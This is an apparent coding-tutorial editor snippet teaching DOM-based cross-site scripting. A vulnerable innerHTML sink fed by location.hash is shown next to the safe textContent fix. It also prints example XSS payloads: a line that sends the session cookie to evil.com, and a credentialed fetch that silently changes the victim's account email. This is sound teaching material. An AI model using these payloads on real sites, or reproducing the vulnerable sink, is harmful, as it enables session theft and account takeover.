Try It Yourself - SyntaxStudy Editor

HTML / CSS / JS

<div id="greeting"></div>
<script>
  // BAD: location.hash is attacker-controlled
  // URL: https://example.com/page#<img src=x onerror=alert(1)>
  const name = decodeURIComponent(location.hash.slice(1));
  document.getElementById('greeting').innerHTML = 'Hello, ' + name;
  //                                    ^^^^^^^^^ SINK: dangerous

// SAFE alternative: use textContent instead of innerHTML
  document.getElementById('greeting').textContent = 'Hello, ' + name;
</script>

<script>
// Steals session cookie and sends it to attacker's server
new Image().src = 'https://evil.com/steal?c=' + encodeURIComponent(document.cookie);

// Or silently changes the victim's email address via fetch
fetch('/api/account', {
  method: 'PATCH',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ email: 'attacker@evil.com' }),
  credentials: 'include'
});
</script>